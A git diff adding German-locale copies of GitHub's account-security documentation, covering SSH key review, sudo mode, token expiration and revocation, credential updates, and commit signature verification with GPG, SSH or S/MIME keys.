+| `report_content` | Triggered when you [report an issue or pull request, or a comment on an issue, pull request, or commit](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam).{% endif %}
+| `show_private_contributions_count` | Triggered when you [publicize private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).{% ifversion not ghae %}
+| `two_factor_requested` | Triggered when {% data variables.product.product_name %} asks you for [your two-factor authentication code](/articles/accessing-github-using-two-factor-authentication).{% endif %}
+
+### `user_status` category actions
+
+| Action | Description
+|--------------------|---------------------
+| `update` | Triggered when you set or change the status on your profile. For more information, see "[Setting a status](/articles/personalizing-your-profile/#setting-a-status)."
+| `destroy` | Triggered when you clear the status on your profile.
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md
new file mode 100644
index 0000000000..65491b5760
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md
@@ -0,0 +1,108 @@
+---
+title: Reviewing your SSH keys
+intro: 'To keep your credentials secure, you should regularly audit your SSH keys, deploy keys, and review authorized applications that access your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}.'
+redirect_from:
+  - /articles/keeping-your-application-access-tokens-safe
+  - /articles/keeping-your-ssh-keys-and-application-access-tokens-safe
+  - /articles/reviewing-your-ssh-keys
+  - /github/authenticating-to-github/reviewing-your-ssh-keys
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-ssh-keys
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+---
+You can delete unauthorized (or possibly compromised) SSH keys to ensure that an attacker no longer has access to your repositories. You can also approve existing SSH keys that are valid.
+
+{% mac %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.ssh %}
+3. On the SSH Settings page, take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**.
+	![SSH key list](/assets/images/help/settings/settings-ssh-key-review.png)
+
+  {% tip %}
+
+     **Note:** If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys.
+
+  {% endtip %}
+
+4. Open Terminal.
+
+{% data reusables.command_line.start_ssh_agent %}
+
+6. Find and take a note of your public key fingerprint. 
+  ```shell
+  $ ssh-add -l -E sha256
+  > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA)
+  ```
+
+7. The SSH keys on {% data variables.product.product_name %} *should* match the same keys on your computer.
+
+{% endmac %}
+
+{% windows %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.ssh %}
+3. On the SSH Settings page, take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**.
+	![SSH key list](/assets/images/help/settings/settings-ssh-key-review.png)
+
+  {% tip %}
+
+     **Note:** If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys.
+
+  {% endtip %}
+
+4. Open Git Bash. 
+
+5. {% data reusables.desktop.windows_git_bash_turn_on_ssh_agent %}
+
+  {% data reusables.desktop.windows_git_for_windows_turn_on_ssh_agent %}
+
+6. Find and take a note of your public key fingerprint. 
+  ```shell
+  $ ssh-add -l -E sha256
+  > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA)
+  ```
+
+7. The SSH keys on {% data variables.product.product_name %} *should* match the same keys on your computer.
+
+{% endwindows %}
+
+{% linux %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.ssh %}
+3. On the SSH Settings page, take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**.
+	![SSH key list](/assets/images/help/settings/settings-ssh-key-review.png)
+
+  {% tip %}
+
+     **Note:** If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys.
+
+  {% endtip %}
+
+4. Open Terminal.
+
+{% data reusables.command_line.start_ssh_agent %}
+
+6. Find and take a note of your public key fingerprint. 
+  ```shell
+  $ ssh-add -l -E sha256
+  > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA)
+  ```
+
+7. The SSH keys on {% data variables.product.product_name %} *should* match the same keys on your computer.
+
+{% endlinux %}
+
+{% warning %}
+
+**Warning**: If you see an SSH key you're not familiar with on {% data variables.product.product_name %}, delete it immediately and contact {% data variables.contact.contact_support %} for further help. An unidentified public key may indicate a possible security concern.
+
+{% endwarning %}
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/sudo-mode.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/sudo-mode.md
new file mode 100644
index 0000000000..25cebe2a85
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/sudo-mode.md
@@ -0,0 +1,93 @@
+---
+title: Sudo mode
+intro: 'To confirm access to your account before you perform a potentially sensitive action, {% data variables.location.product_location %} prompts for authentication.'
+redirect_from:
+  - /articles/sudo-mode
+  - /github/authenticating-to-github/sudo-mode
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/sudo-mode
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+miniTocMaxHeadingLevel: 3
+topics:
+  - Identity
+  - Access management
+---
+
+## About sudo mode
+
+To maintain the security of your account when you perform a potentially sensitive action on {% data variables.location.product_location %}, you must authenticate even though you're already signed in. For example, {% data variables.product.company_short %} considers the following actions sensitive because each action could allow a new person or system to access your account.
+
+- Modification of an associated email address
+- Authorization of a third-party application
+- Addition of a new SSH key
+
+After you authenticate to perform a sensitive action, your session is temporarily in "sudo mode." In sudo mode, you can perform sensitive actions without authentication. {% data variables.product.product_name %} will wait a few hours before prompting you for authentication again. During this time, any sensitive action that you perform will reset the timer.
+
+{% ifversion ghes %}
+
+{% note %}
+
+**Note**: If {% data variables.location.product_location %} uses an external authentication method like CAS or SAML SSO, you will not receive prompts to enter sudo mode. For more information, contact your site administrator.
+
+{% endnote %}
+
+{% endif %}
+
+"sudo" is a reference to a program on Unix systems, where the name is short for "**su**peruser **do**." For more information, see [sudo](https://wikipedia.org/wiki/Sudo) on Wikipedia.
+
+## Confirming access for sudo mode
+
+To confirm access for sudo mode, you {% ifversion totp-and-mobile-sudo-challenge %}can{% else %}must{% endif %} authenticate with your password.{% ifversion totp-and-mobile-sudo-challenge %} Optionally, you can use a different authentication method, like {% ifversion fpt or ghec %}a security key, {% data variables.product.prodname_mobile %}, or a 2FA code{% elsif ghes %}a security key or a 2FA code{% endif %}.{% endif %}
+
+{%- ifversion totp-and-mobile-sudo-challenge %}
+- [Confirming access using a security key](#confirming-access-using-a-security-key)
+{%- ifversion fpt or ghec %}
+- [Confirming access using GitHub Mobile](#confirming-access-using-github-mobile)
+{%- endif %}
+- [Confirming access using a 2FA code](#confirming-access-using-a-2fa-code)
+- [Confirming access using your password](#confirming-access-using-your-password)
+{%- endif %}
+
+{% ifversion totp-and-mobile-sudo-challenge %}
+
+### Confirming access using a security key
+
+You must configure two-factor authentication (2FA) for your account using a security key to confirm access to your account for sudo mode using the security key. For more information, see "[Configuring two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)."
+
+When prompted to authenticate for sudo mode, click **Use security key**, then follow the prompts.
+
+![Screenshot of security key option for sudo mode](/assets/images/help/settings/sudo_mode_prompt_security_key.png)
+
+{% ifversion fpt or ghec %}
+
+### Confirming access using {% data variables.product.prodname_mobile %}
+
+You must install and sign into {% data variables.product.prodname_mobile %} to confirm access to your account for sudo mode using the app. For more information, see "[{% data variables.product.prodname_mobile %}](/get-started/using-github/github-mobile)."
+
+1. When prompted to authenticate for sudo mode, click **Use GitHub Mobile**.
+
+   ![Screenshot of {% data variables.product.prodname_mobile %} option for sudo mode](/assets/images/help/settings/sudo_mode_prompt_github_mobile_prompt.png)
+1. Open {% data variables.product.prodname_mobile %}. {% data variables.product.prodname_mobile %} will display numbers that you must enter on {% data variables.location.product_location %} to approve the request.
+
+   ![Screenshot of numbers from {% data variables.product.prodname_mobile %} to enter on {% data variables.product.product_name %} to approve sudo mode access](/assets/images/help/settings/sudo_mode_prompt_github_mobile.png)
+1. On {% data variables.product.product_name %}, type the numbers displayed in {% data variables.product.prodname_mobile %}.
+
+{% endif %}
+
+### Confirming access using a 2FA code
+
+You must configure 2FA using a TOTP mobile app{% ifversion fpt or ghec %} or text messages{% endif %} to confirm access to your account for sudo mode using a 2FA code. For more information, see "[Configuring two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)."
+
+When prompted to authenticate for sudo mode, type the authentication code from your TOTP mobile app{% ifversion fpt or ghec %} or the text message{% endif %}, then click **Verify**.
+
+![Screenshot of 2FA code prompt for sudo mode](/assets/images/help/settings/sudo_mode_prompt_2fa_code.png)
+
+### Confirming access using your password
+
+{% endif %}
+
+When prompted to authenticate for sudo mode, type your password, then click **Confirm**.
+
+![Screenshot of password prompt for sudo mode](/assets/images/help/settings/sudo_mode_prompt_password.png)
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md
new file mode 100644
index 0000000000..8b60d4cd9b
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md
@@ -0,0 +1,67 @@
+---
+title: Tokenablauf und Sperrung
+intro: 'Deine Token können ablaufen und auch von dir, Anwendungen, die du autorisiert hast, sowie {% data variables.product.product_name %} selbst widerrufen werden.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: Token expiration
+redirect_from:
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation
+ms.openlocfilehash: 00ccfc3117401bfa9464da9599067fe1d2f514dd
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106997'
+---
+Wenn ein Token abgelaufen ist oder widerrufen wurde, kann es nicht mehr verwendet werden, um Git- und API-Anforderungen zu authentifizieren. Es ist nicht möglich, ein abgelaufenes oder widerrufenes Token wiederherzustellen. Es muss ein neues Token durch dich oder die Anwendung erstellt werden.
+
+In diesem Artikel werden die möglichen Gründe erläutert, warum deine {% data variables.product.product_name %}-Token widerrufen wurden oder ablaufen.
+
+{% note %}
+
+**Hinweis:** Wenn ein {% data variables.product.pat_generic %} oder OAuth-Token abläuft oder widerrufen wird, wird möglicherweise die Aktion `oauth_authorization.destroy` im Sicherheitsprotokoll angezeigt. Weitere Informationen findest du unter [Überprüfen deines Sicherheitsprotokolls](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-security-log).
+
+{% endnote %}
+
+## Token widerrufen, nachdem das Ablaufdatum erreicht wurde
+
+Wenn du ein {% data variables.product.pat_generic %} erstellst, ist es ratsam, ein Ablaufdatum für das Token festzulegen. Beim Erreichen des Ablaufdatums wird das Token automatisch widerrufen. Weitere Informationen findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token).
+
+{% ifversion fpt or ghec %}
+## Token widerrufen, wenn in ein öffentliches Repository oder einen öffentlichen Gist gepusht
+
+Wenn ein gültiges OAuth-Token, {% data variables.product.prodname_github_app %}-Token oder {% data variables.product.pat_generic %} in ein öffentliches Repository oder einen öffentlichen Gist gepusht wird, wird das Token automatisch widerrufen. 
+
+{% endif %}
+
+{% ifversion fpt or ghec %}
+## Wegen mangelnder Verwendung abgelaufenes Token
+
+{% data variables.product.product_name %} widerruft automatisch ein OAuth-Token oder {% data variables.product.pat_generic %}, wenn das Token ein Jahr lang nicht verwendet wurde.
+{% endif %}
+
+## Vom Benutzer widerrufenes Token
+
+Du kannst die Autorisierung einer {% data variables.product.prodname_github_app %} oder {% data variables.product.prodname_oauth_app %} über deine Kontoeinstellungen widerrufen, wodurch alle Token widerrufen werden, die der App zugeordnet sind. Weitere Informationen findest du unter [Überprüfen deiner autorisierten Integrationen](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations) und [Überprüfen deiner autorisierten Anwendungen (OAuth)](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth).
+
+Sobald eine Autorisierung widerrufen wurde, werden auch alle Token, die der Autorisierung zugeordnet sind, widerrufen. Um eine Anwendung erneut zu autorisieren, befolgst du die Anweisungen aus der Anwendung oder Website von Drittanbietern, um dein Konto mit {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} erneut zu verbinden.
+
+## Von der {% data variables.product.prodname_oauth_app %} widerrufenes Token
+
+Der Besitzer einer {% data variables.product.prodname_oauth_app %} kann die Autorisierung eines Kontos ihrer App widerrufen, wodurch auch alle Token widerrufen werden, die der Autorisierung zugeordnet sind. Weitere Informationen zum Widerrufen von Autorisierungen für deine OAuth-App findest du unter [Löschen einer App-Autorisierung](/rest/reference/apps#delete-an-app-authorization).
+
+{% data variables.product.prodname_oauth_app %}-Besitzer können auch einzelne Token widerrufen, die einer Autorisierung zugeordnet sind. Weitere Informationen zum Widerrufen einzelner Token für deine OAuth-App findest du unter [Löschen von App-Token](/rest/apps/oauth-applications#delete-an-app-token).
+
+## Wegen Tokenüberschuss mit demselben Geltungsbereich für eine {% data variables.product.prodname_oauth_app %} widerrufenes Token
+
+{% data reusables.apps.oauth-token-limit %}
+
+## Wegen {% data variables.product.prodname_github_app %}-Konfiguration widerrufenes Benutzertoken
+
+Benutzer-zu-Server-Token, die von einer {% data variables.product.prodname_github_app %} erstellt wurden, laufen standardmäßig nach acht Stunden ab. Besitzer von {% data variables.product.prodname_github_apps %} können ihre Apps so konfigurieren, dass Benutzer-zu-Server-Token nicht ablaufen. Weitere Informationen zum Ändern von Benutzer-zu-Server-Token in deiner {% data variables.product.prodname_dotcom %} App findest du unter [Aktivieren optionaler Features für Apps](/developers/apps/getting-started-with-apps/activating-optional-features-for-apps).
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md
new file mode 100644
index 0000000000..12e35114b2
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md
@@ -0,0 +1,88 @@
+---
+title: Updating your GitHub access credentials
+intro: '{% data variables.product.product_name %} credentials include{% ifversion not ghae %} not only your password, but also{% endif %} the access tokens, SSH keys, and application API tokens you use to communicate with {% data variables.product.product_name %}. Should you have the need, you can reset all of these access credentials yourself.'
+redirect_from:
+  - /articles/rolling-your-credentials
+  - /articles/how-can-i-reset-my-password
+  - /articles/updating-your-github-access-credentials
+  - /github/authenticating-to-github/updating-your-github-access-credentials
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/updating-your-github-access-credentials
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: Update access credentials
+---
+{% ifversion not ghae %}
+## Requesting a new password
+
+1. To request a new password, visit {% ifversion fpt or ghec %}https://{% data variables.product.product_url %}/password_reset{% else %}`https://{% data variables.product.product_url %}/password_reset`{% endif %}.
+2. Enter the email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, then click **Send password reset email.** The email will be sent to the backup email address if you have one configured.
+  ![Password reset email request dialog](/assets/images/help/settings/password-recovery-email-request.png)
+3. We'll email you a link that will allow you to reset your password. You must click on this link within 3 hours of receiving the email. If you didn't receive an email from us, make sure to check your spam folder.
+4. If you have enabled two-factor authentication, you will be prompted for your 2FA credentials:
+{% ifversion fpt or ghec %}
+   * If you have {% data variables.product.prodname_mobile %}, you will be sent a push notification to verify your identity. Open the push notification or the {% data variables.product.prodname_mobile %} app and enter the two-digit code shown to you on the password reset page in your browser.
+   ![Two-factor {% data variables.product.prodname_mobile %} authentication prompt](/assets/images/help/2fa/2fa-mobile-challenge-password-reset.png)
+      * To skip using GitHub Mobile to verify, click **Enter two-factor authentication or recovery code**.
+      ![Two-factor GitHub Mobile authentication prompt on {% data variables.product.product_name %} with "Enter two-factor authentication or recovery code" highlighted](/assets/images/help/2fa/2fa-github-mobile-password-reset.png)
+{% endif %}
+   * Type your authentication code or one of your recovery codes and click **Verify**.
+      ![Two-factor authentication prompt](/assets/images/help/2fa/2fa-password-reset.png)
+     * If you have added a security key to your account, click **Use security key** instead of typing an authentication code.
+     {% ifversion fpt or ghec %}
+     * If you have set up [{% data variables.product.prodname_mobile %}](https://github.com/mobile), click **Authenticate with GitHub Mobile** instead.
+     {% endif %}
+5. Type a new password, confirm your new password, and click **Change password**. For help creating a strong password, see "[Creating a strong password](/articles/creating-a-strong-password)."
+  {% ifversion fpt or ghec %}![Password recovery box](/assets/images/help/settings/password-recovery-page.png){% else %}
+  ![Password recovery box](/assets/images/enterprise/settings/password-recovery-page.png){% endif %}
+
+{% tip %}
+
+To avoid losing your password in the future, we suggest using a secure password manager, like [LastPass](https://lastpass.com/) or [1Password](https://1password.com/).
+
+{% endtip %}
+
+## Changing an existing password
+
+{% data reusables.repositories.blocked-passwords %}
+
+1. {% data variables.product.signin_link %} to {% data variables.product.product_name %}.
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.security %}
+4. Under "Change password", type your old password, a strong new password, and confirm your new password. For help creating a strong password, see "[Creating a strong password](/articles/creating-a-strong-password)"
+5. Click **Update password**.
+
+{% tip %}
+
+For greater security, enable two-factor authentication in addition to changing your password. See [About two-factor authentication](/articles/about-two-factor-authentication) for more details.
+
+{% endtip %}
+{% endif %}
+## Updating your access tokens
+
+See "[Reviewing your authorized integrations](/articles/reviewing-your-authorized-integrations)" for instructions on reviewing and deleting access tokens. To generate new access tokens, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."
+
+{% ifversion not ghae %}
+
+If you have reset your account password and would also like to trigger a sign-out from the {% data variables.product.prodname_mobile %} app, you can revoke your authorization of the "GitHub iOS" or "GitHub Android" OAuth App. This will sign out all instances of the {% data variables.product.prodname_mobile %} app associated with your account. For additional information, see "[Reviewing your authorized integrations](/authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations)."
+
+{% endif %}
+
+## Updating your SSH keys
+
+See "[Reviewing your SSH keys](/articles/reviewing-your-ssh-keys)" for instructions on reviewing and deleting SSH keys. To generate and add new SSH keys, see "[Generating an SSH key](/articles/generating-an-ssh-key)."
+
+## Resetting API tokens
+
+If you have any applications registered with {% data variables.product.product_name %}, you'll want to reset their OAuth tokens. For more information, see the "[Reset an authorization](/rest/reference/apps#reset-an-authorization)" endpoint.
+
+{% ifversion not ghae %}
+## Preventing unauthorized access
+
+For more tips on securing your account and preventing unauthorized access, see "[Preventing unauthorized access](/articles/preventing-unauthorized-access)."
+{% endif %}
diff --git a/translations/de-DE/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md b/translations/de-DE/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md
new file mode 100644
index 0000000000..2d6fd102a0
--- /dev/null
+++ b/translations/de-DE/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md
@@ -0,0 +1,135 @@
+---
+title: About commit signature verification
+intro: 'Using GPG{% ifversion ssh-commit-verification %}, SSH,{% endif %} or S/MIME, you can sign tags and commits locally. These tags or commits are marked as verified on {% data variables.product.product_name %} so other people can be confident that the changes come from a trusted source.'
+redirect_from:
+  - /articles/about-gpg-commit-and-tag-signatures
+  - /articles/about-gpg
+  - /articles/about-commit-signature-verification
+  - /github/authenticating-to-github/about-commit-signature-verification
+  - /github/authenticating-to-github/managing-commit-signature-verification/about-commit-signature-verification
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: Commit signature verification
+---
+## About commit signature verification
+
+You can sign commits and tags locally, to give other people confidence about the origin of a change you have made. If a commit or tag has a GPG{% ifversion ssh-commit-verification %}, SSH,{% endif %} or S/MIME signature that is cryptographically verifiable, {% data variables.product.product_name %} marks the commit or tag {% ifversion fpt or ghec %}"Verified" or "Partially verified."{% else %}"Verified."{% endif %}
+
+![Verified commit](/assets/images/help/commits/verified-commit.png)
+
+{% ifversion ghes or ghae %}
+If a commit or tag has a signature that can't be verified, {% data variables.product.product_name %} marks the commit or tag "Unverified."
+{% endif %}
+
+{% ifversion ssh-commit-verification %}
+For most individual users, GPG or SSH will be the best choice for signing commits. S/MIME signatures are usually required in the context of a larger organization. SSH signatures are the simplest to generate. You can even upload your existing authentication key to {% data variables.product.product_name %} to also use as a signing key. Generating a GPG signing key is more involved than generating an SSH key, but GPG has features that SSH does not. A GPG key can expire or be revoked when no longer used. {% data variables.product.product_name %} shows commits that were signed with such a key as "Verified" unless the key was marked as compromised. SSH keys don't have this capability.
+{% endif %}
+
+{% ifversion fpt or ghec %}
+Commits and tags have the following verification statuses, depending on whether you have enabled vigilant mode. By default vigilant mode is not enabled. For information on how to enable vigilant mode, see "[Displaying verification statuses for all of your commits](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)."
+
+{% data reusables.identity-and-permissions.vigilant-mode-beta-note %}
+
+Signing commits differs from signing off on a commit. For more information about signing off on commits, see "[Managing the commit signoff policy for your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository)."
+
+### Default statuses
+
+| Status         | Description |
+| -------------- | ----------- |
+| **Verified**   | The commit is signed and the signature was successfully verified.
+| **Unverified** | The commit is signed but the signature could not be verified.
+| No verification status | The commit is not signed.
+
+### Signature verification for rebase and merge
+{% data reusables.pull_requests.rebase_and_merge_verification %}
+
+For more information, see "[Rebasing and merging your commits](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github#rebasing-and-merging-your-commits)."
+
+### Statuses with vigilant mode enabled
+
+{% data reusables.identity-and-permissions.vigilant-mode-verification-statuses %}
+
+{% endif %}
+
+
+Repository administrators can enforce required commit signing on a branch to block all commits that are not signed and verified. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-signed-commits)."
+
+{% data reusables.identity-and-permissions.verification-status-check %}
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+{% ifversion ghes %}If a site administrator has enabled web commit signing, {% data variables.product.product_name %} will automatically use GPG to sign commits you make using the web interface. Commits signed by {% data variables.product.product_name %} will have a verified status. You can verify the signature locally using the public key available at `https://HOSTNAME/web-flow.gpg`. For more information, see "[Configuring web commit signing](/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing)."
+{% else %}{% data variables.product.prodname_dotcom %} will automatically use GPG to sign commits you make using the web interface. Commits signed by {% data variables.product.prodname_dotcom %} will have a verified status. You can verify the signature locally using the public key available at https://github.com/web-flow.gpg. The full fingerprint of the key is `5DE3 E050 9C47 EA3C F04A 42D3 4AEE 18F8 3AFD EB23`.
+
+You can optionally choose to have {% data variables.product.prodname_dotcom %} GPG sign commits you make in {% data variables.product.prodname_github_codespaces %}. For more information about enabling GPG verification for your codespaces, see "[Managing GPG verification for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces)."{% endif %}
+{% endif %}
+
+## GPG commit signature verification
+
+You can use GPG to sign commits with a GPG key that you generate yourself.
+
+{% data variables.product.product_name %} uses OpenPGP libraries to confirm that your locally signed commits and tags are cryptographically verifiable against a public key you have added to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}.
+
+To sign commits using GPG and have those commits verified on {% data variables.product.product_name %}, follow these steps:
+
+1. [Check for existing GPG keys](/articles/checking-for-existing-gpg-keys)
+2. [Generate a new GPG key](/articles/generating-a-new-gpg-key)
+3. [Add a GPG key to your GitHub account](/articles/adding-a-gpg-key-to-your-github-account)
+4. [Tell Git about your signing key](/articles/telling-git-about-your-signing-key)
+5. [Sign commits](/articles/signing-commits)
+6. [Sign tags](/articles/signing-tags)
+
+{% ifversion ssh-commit-verification %}
+## SSH commit signature verification
+
+You can use SSH to sign commits with an SSH key that you generate yourself. For more information, see the [Git reference documentation](https://git-scm.com/docs/git-config#Documentation/git-config.txt-usersigningKey)  for `user.Signingkey`. If you already use an SSH key to authenticate with {% data variables.product.product_name %},
+you can also upload that same key again for use as a signing key. There's no limit on the number of signing keys you can add to your account.
+
+{% data variables.product.product_name %} uses [ssh_data](https://github.com/github/ssh_data), an open source Ruby library, to confirm that your locally signed commits and tags are cryptographically verifiable against a public key you have added to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}.
+
+{% data reusables.gpg.ssh-git-version %}
+
+To sign commits using SSH and have those commits verified on {% data variables.product.product_name %}, follow these steps:
+
+1. [Check for existing SSH keys](/articles/checking-for-existing-ssh-keys)
+2. [Generate a new SSH key](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)
+3. [Add a SSH signing key to your GitHub account](/articles/adding-a-new-ssh-key-to-your-github-account)
+4. [Tell Git about your signing key](/articles/telling-git-about-your-signing-key)
+5. [Sign commits](/articles/signing-commits)
+6. [Sign tags](/articles/signing-tags)
+
+{% endif %}
+## S/MIME commit signature verification
+
+You can use S/MIME to sign commits with an X.509 key issued by your organization.
+
+{% data variables.product.product_name %} uses [the Debian ca-certificates package](https://packages.debian.org/bullseye/ca-certificates), the same trust store used by Mozilla browsers, to confirm that your locally signed commits and tags are cryptographically verifiable against a public key in a trusted root certificate.
+
+{% data reusables.gpg.smime-git-version %}
+
+To sign commits using S/MIME and have those commits verified on {% data variables.product.product_name %}, follow these steps:
+
+1. [Tell Git about your signing key](/articles/telling-git-about-your-signing-key)
+2. [Sign commits](/articles/signing-commits)
+3. [Sign tags](/articles/signing-tags)
+
+You don't need to upload your public key to {% data variables.product.product_name %}.
+
+{% ifversion fpt or ghec %}
+## Signature verification for bots
+
+Organizations and {% data variables.product.prodname_github_apps %} that require commit signing can use bots to sign commits. If a commit or tag has a bot signature that is cryptographically verifiable, {% data variables.product.product_name %} marks the commit or tag as verified.
+
+Signature verification for bots will only work if the request is verified and authenticated as the {% data variables.product.prodname_github_app %} or bot and contains no custom author information, custom committer information, and no custom signature information, such as Commits API.
+{% endif %}
+
+## Further reading
+
+- "[Signing commits](/articles/signing-commits)"
+- "[Signing tags](/articles/signing-tags)"
+- "[Troubleshooting commit signature verification](/articles/troubleshooting-commit-signature-verification)"
diff --git a/translations/de-DE/content/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account.md b/translations/de-DE/content/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account.md
new file mode 100644
index 0000000000..febbc304fa
--- /dev/null
+++ b/translations/de-DE/content/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account.md
@@ -0,0 +1,72 @@
+---
+title: Adding a GPG key to your GitHub account
+intro: 'To configure your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} to use your new (or existing) GPG key, you''ll also need the key to your account.'
+redirect_from:
+  - /articles/adding-a-gpg-key-to-your-github-account
+  - /github/authenticating-to-github/adding-a-new-gpg-key-to-your-github-account
+  - /github/authenticating-to-github/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account
+  - /articles/updating-an-expired-gpg-key
+  - /authentication/troubleshooting-commit-signature-verification/updating-an-expired-gpg-key
+  - /github/authenticating-to-github/updating-an-expired-gpg-key
+  - /github/authenticating-to-github/troubleshooting-commit-signature-verification/updating-an-expired-gpg-key
+  - /authentication/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: Add a GPG key
+---
+
+## About addition of GPG keys to your account
+
+To sign commits associated with your account on {% data variables.product.product_name %}, you can add a public GPG key to your personal account. Before you add a key, you should check for existing keys. If you don't find any existing keys, you can generate and copy a new key. For more information, see "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)" and "[Generating a new GPG key](/articles/generating-a-new-gpg-key)."
+
+You can add multiple public keys to your account on {% data variables.product.product_name %}. Commits signed by any of the corresponding private keys will show as verified. If you remove a public key, any commits signed by the corresponding private key will no longer show as verified.
+
+{% ifversion upload-expired-or-revoked-gpg-key %}
+To verify as many of your commits as possible, you can add expired and revoked keys. If the key meets all other verification requirements, commits that were previously signed by any of the corresponding private keys will show as verified and indicate that their signing key is expired or revoked.
+
+![A verified commit whose key expired](/assets/images/help/settings/gpg-verified-with-expired-key.png)
+{% endif %}
+
